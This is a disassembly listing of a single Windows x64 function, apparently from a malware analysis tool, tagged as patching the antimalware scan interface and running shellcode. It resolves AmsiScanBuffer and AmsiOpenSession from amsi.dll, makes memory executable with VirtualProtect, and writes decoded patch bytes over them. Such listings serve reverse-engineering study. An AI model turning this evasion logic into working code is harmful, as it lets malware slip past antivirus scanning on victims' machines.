Function at 0x140001770
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Patch antimalware scan interface function

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x258
mov rax, qword [0x14014ac48]
xor rax, rsp
mov qword [rsp + 0x248], rax
movzx r8d, byte [rsp + 0x38]
lea rdx, str.AmsiScanBuffer
lea rcx, [rsp + 0x1c0]
call fcn.140011740
mov rcx, rax
call fcn.140071b40
mov qword [rsp + 0x70], rax
lea rcx, [0x1400cf508]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x70]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x34], 0x41
mov byte [rsp + 0x35], 0xa9
mov byte [rsp + 0x36], 0x70
lea rcx, [rsp + 0x39]
call fcn.1400130b0
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x37]
mov r8, rcx
lea rdx, [rsp + 0x34]
lea rcx, [rsp + 0x130]
call fcn.140014900
lea rcx, [rsp + 0xb0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x78]
mov r8, rax
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0xd0]
call fcn.140014a30
nop
mov byte [rsp + 0x150], 0x38
mov byte [rsp + 0x151], 0x58
mov byte [rsp + 0x152], 0xb5
mov byte [rsp + 0x153], 0x53
mov byte [rsp + 0x154], 0x5d
mov byte [rsp + 0x155], 0x81
mov byte [rsp + 0x156], 0xa4
mov byte [rsp + 0x157], 0xb6
mov byte [rsp + 0x158], 0x69
mov byte [rsp + 0x159], 4
mov byte [rsp + 0x15a], 0xf4
mov byte [rsp + 0x15b], 0x8f
mov byte [rsp + 0x15c], 0xe0
lea rcx, [rsp + 0x3a]
call fcn.1400130b0
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x15d]
mov r8, rcx
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x140]
call fcn.140014900
lea rcx, [rsp + 0xc0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x80]
mov r8, rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0xe8]
call fcn.140014a30
nop
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x50], 0x1000
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x218]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
lea rax, [rsp + 0x230]
mov rdi, rax
xor eax, eax
mov ecx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
rep stosb byte [rdi], al
mov dword [rsp + 0x40], 0
lea rax, [rsp + 0x218]
mov qword [rsp + 0x68], rax
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x218]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx r8d, byte [rsp + 0x3b]
lea rdx, [0x1400cf518]
lea rcx, [rsp + 0x1e8]
call fcn.140010ec0
mov rcx, rax
call fcn.1400718c0
lea rdx, [rsp + 0x218]
mov rcx, rax
call fcn.140001420
lea rax, [rsp + 0x230]
mov qword [rsp + 0x60], rax
lea r9, [rsp + 0x40]
mov r8d, 0x40
mov edx, reloc.OLEAUT32.dll_SafeArrayUnaccessData
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movzx r8d, byte [rsp + 0x3c]
lea rdx, [0x1400cf530]
lea rcx, [rsp + 0x200]
call fcn.140010800
mov rcx, rax
call fcn.140071960
lea rdx, [rsp + 0x230]
mov rcx, rax
call fcn.140001420
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x60]
movzx r8d, byte [rsp + 0x3d]
lea rdx, [0x1400cf548]
lea rcx, [rsp + 0x1a0]
call fcn.140011d60
mov rcx, rax
call fcn.140071820
mov rdx, rax
lea rcx, [rsp + 0x180]
call fcn.140014700
nop
lea r9, [rsp + 0x180]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x278]
call fcn.140032a70
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x90]
call fcn.1400716b0
mov qword [rsp + 0x20], 0
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8, rax
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x68]
nop
lea rcx, [rsp + 0x100]
call fcn.140015310
nop
lea rcx, [rsp + 0x180]
call fcn.140015250
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x60]
movzx r8d, byte [rsp + 0x3e]
lea rdx, str.AmsiOpenSession
lea rcx, [rsp + 0x1d0]
call fcn.1400114e0
mov rcx, rax
call fcn.140071be0
mov qword [rsp + 0x98], rax
lea rcx, str.amsi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, qword [rsp + 0x98]
mov rdx, rcx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x50], 0x1000
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x60]
movzx r8d, byte [rsp + 0x3f]
lea rdx, [0x1400cf580]
lea rcx, [rsp + 0x1b0]
call fcn.140011f10
mov rcx, rax
call fcn.140071820
mov rdx, rax
lea rcx, [rsp + 0x160]
call fcn.140014700
nop
lea r9, [rsp + 0x160]
lea r8, [rsp + 0xd0]
lea rdx, [rsp + 0x118]
lea rcx, [rsp + 0x278]
call fcn.140032a70
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.1400716b0
mov qword [rsp + 0x20], 0
mov r9d, reloc.OLEAUT32.dll_SafeArrayGetElement
mov r8, rax
mov rdx, qword [rsp + 0x48]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x68]
nop
lea rcx, [rsp + 0x118]
call fcn.140015310
nop
lea rcx, [rsp + 0x160]
call fcn.140015250
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x30]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x58]
mov rax, qword [rsp + 0x270]
mov rcx, qword [rax]
call qword [rsp + 0x60]
nop
lea rcx, [rsp + 0xe8]
call fcn.140015310
nop
lea rcx, [rsp + 0xd0]
call fcn.140015310
mov rcx, qword [rsp + 0x248]
xor rcx, rsp
call fcn.14009cb40
add rsp, 0x258
pop rdi
pop rsi
ret